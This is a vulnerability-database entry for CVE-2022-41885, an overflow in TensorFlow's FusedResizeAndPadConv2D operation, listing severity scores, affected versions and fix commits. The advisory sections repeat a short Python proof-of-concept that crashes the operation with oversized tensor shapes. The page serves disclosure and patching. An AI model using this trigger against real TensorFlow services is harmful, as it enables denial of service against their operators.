CVE-2022-41885
published 2022-11-18CVE-2022-41885: TensorFlow is an open source platform for machine learning. When `tf.raw_ops.FusedResizeAndPadConv2D` is given a large tensor shape, it overflows. We have…
PriorityP336high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
EPSS
0.43%
34.9th percentile
TensorFlow is an open source platform for machine learning. When `tf.raw_ops.FusedResizeAndPadConv2D` is given a large tensor shape, it overflows. We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce. The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Affected
11 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | tensorflow | — | — |
| tensorflow | < 2.7.4 | 2.7.4 | |
| tensorflow | — | — | |
| tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 | |
| tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 | |
| intel | optimization_for_tensorflow | >= 0 < 2.7.4 | 2.7.4 |
| intel | optimization_for_tensorflow | >= 2.8.0 < 2.8.1 | 2.8.1 |
| intel | optimization_for_tensorflow | >= 2.9.0 < 2.9.1 | 2.9.1 |
| tensorflow | tensorflow | < 2.7.4 | 2.7.4 |
| tensorflow | tensorflow | — | — |
| tensorflow | tensorflow | — | — |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vendor_debian4.8LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Overflow in `FusedResizeAndPadConv2D`
osv·2022-11-21
CVE-2022-41885 [MEDIUM] Overflow in `FusedResizeAndPadConv2D`
Overflow in `FusedResizeAndPadConv2D`
### Impact
When [`tf.raw_ops.FusedResizeAndPadConv2D`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cc) is given a large tensor shape, it overflows.
```python
import tensorflow as tf
mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners
GHSA
Overflow in `FusedResizeAndPadConv2D`
ghsa·2022-11-21
CVE-2022-41885 [MEDIUM] CWE-131 Overflow in `FusedResizeAndPadConv2D`
Overflow in `FusedResizeAndPadConv2D`
### Impact
When [`tf.raw_ops.FusedResizeAndPadConv2D`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cc) is given a large tensor shape, it overflows.
```python
import tensorflow as tf
mode = "REFLECT"
strides = [1, 1, 1, 1]
padding = "SAME"
resize_align_corners = False
input = tf.constant(147, shape=[3,3,1,1], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
paddings = tf.constant([3,4], shape=[2], dtype=tf.int32)
filter = tf.constant(123, shape=[1,3,4,1], dtype=tf.float16)
tf.raw_ops.FusedResizeAndPadConv2D(input=input, size=size, paddings=paddings, filter=filter, mode=mode, strides=strides, padding=padding, resize_align_corners=resize_align_corners
Debian
CVE-2022-41885: tensorflow - TensorFlow is an open source platform for machine learning. When `tf.raw_ops.Fus...
vendor_debian·2022·CVSS 4.8
CVE-2022-41885 [MEDIUM] CVE-2022-41885: tensorflow - TensorFlow is an open source platform for machine learning. When `tf.raw_ops.Fus...
TensorFlow is an open source platform for machine learning. When `tf.raw_ops.FusedResizeAndPadConv2D` is given a large tensor shape, it overflows. We have patched the issue in GitHub commit d66e1d568275e6a2947de97dca7a102a211e01ce. The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Scope: local
forky: resolved
sid: resolved
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cchttps://github.com/tensorflow/tensorflow/commit/d66e1d568275e6a2947de97dca7a102a211e01cehttps://github.com/tensorflow/tensorflow/security/advisories/GHSA-762h-vpvw-3rcxhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/conv_ops_fused_image_transform.cchttps://github.com/tensorflow/tensorflow/commit/d66e1d568275e6a2947de97dca7a102a211e01cehttps://github.com/tensorflow/tensorflow/security/advisories/GHSA-762h-vpvw-3rcx
2022-11-18
Published